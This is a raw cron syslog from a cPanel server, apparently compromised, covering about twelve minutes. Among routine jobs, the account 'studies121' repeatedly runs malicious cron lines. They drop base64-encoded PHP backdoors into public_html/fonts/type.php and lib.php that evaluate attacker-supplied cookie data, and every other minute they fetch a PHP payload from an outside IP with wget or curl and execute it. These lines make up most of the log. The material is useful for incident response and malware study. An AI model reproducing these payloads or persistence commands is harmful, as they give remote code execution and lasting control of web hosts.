Sep  6 14:41:01 ip-184-168-122-23 CROND[10908]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:41:01 ip-184-168-122-23 CROND[10910]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:41:01 ip-184-168-122-23 CROND[10911]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:41:01 ip-184-168-122-23 CROND[10913]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:42:01 ip-184-168-122-23 CROND[11062]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:42:01 ip-184-168-122-23 CROND[11065]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:42:01 ip-184-168-122-23 CROND[11066]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:42:01 ip-184-168-122-23 CROND[11064]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:42:01 ip-184-168-122-23 CROND[11067]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:43:01 ip-184-168-122-23 CROND[11264]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:43:01 ip-184-168-122-23 CROND[11266]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:43:01 ip-184-168-122-23 CROND[11268]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:43:01 ip-184-168-122-23 CROND[11270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:44:01 ip-184-168-122-23 CROND[11446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:44:01 ip-184-168-122-23 CROND[11448]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:44:01 ip-184-168-122-23 CROND[11451]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:44:01 ip-184-168-122-23 CROND[11450]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:44:01 ip-184-168-122-23 CROND[11449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:45:01 ip-184-168-122-23 CROND[11638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:45:01 ip-184-168-122-23 CROND[11641]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:45:01 ip-184-168-122-23 CROND[11640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:45:01 ip-184-168-122-23 CROND[11642]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:45:01 ip-184-168-122-23 CROND[11646]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:45:01 ip-184-168-122-23 CROND[11644]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:46:01 ip-184-168-122-23 CROND[11831]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:46:01 ip-184-168-122-23 CROND[11833]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:46:01 ip-184-168-122-23 CROND[11838]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:46:01 ip-184-168-122-23 CROND[11836]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:46:01 ip-184-168-122-23 CROND[11835]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 14:46:01 ip-184-168-122-23 CROND[11834]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 14:46:01 ip-184-168-122-23 CROND[11839]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:47:01 ip-184-168-122-23 CROND[12033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:47:01 ip-184-168-122-23 CROND[12035]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:47:01 ip-184-168-122-23 CROND[12036]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:47:01 ip-184-168-122-23 CROND[12039]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:48:01 ip-184-168-122-23 CROND[12227]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:48:01 ip-184-168-122-23 CROND[12229]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:48:01 ip-184-168-122-23 CROND[12230]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:48:01 ip-184-168-122-23 CROND[12232]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:48:01 ip-184-168-122-23 CROND[12231]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:49:01 ip-184-168-122-23 CROND[12500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:49:01 ip-184-168-122-23 CROND[12503]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:49:01 ip-184-168-122-23 CROND[12504]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:49:01 ip-184-168-122-23 CROND[12505]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12709]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12711]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12712]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:50:01 ip-184-168-122-23 CROND[12715]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12717]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12718]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:50:01 ip-184-168-122-23 CROND[12721]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12720]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 14:50:01 ip-184-168-122-23 CROND[12723]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:51:01 ip-184-168-122-23 CROND[12936]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:51:01 ip-184-168-122-23 CROND[12939]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:51:01 ip-184-168-122-23 CROND[12938]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:51:01 ip-184-168-122-23 CROND[12940]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:52:01 ip-184-168-122-23 CROND[13137]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  6 14:52:01 ip-184-168-122-23 CROND[13135]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  6 14:52:01 ip-184-168-122-23 CROND[13136]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 14:52:01 ip-184-168-122-23 CROND[13138]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 14:52:01 ip-184-168-122-23 CROND[13139]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  6 14:53:01 ip-184-168-122-23 CROND[13314]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
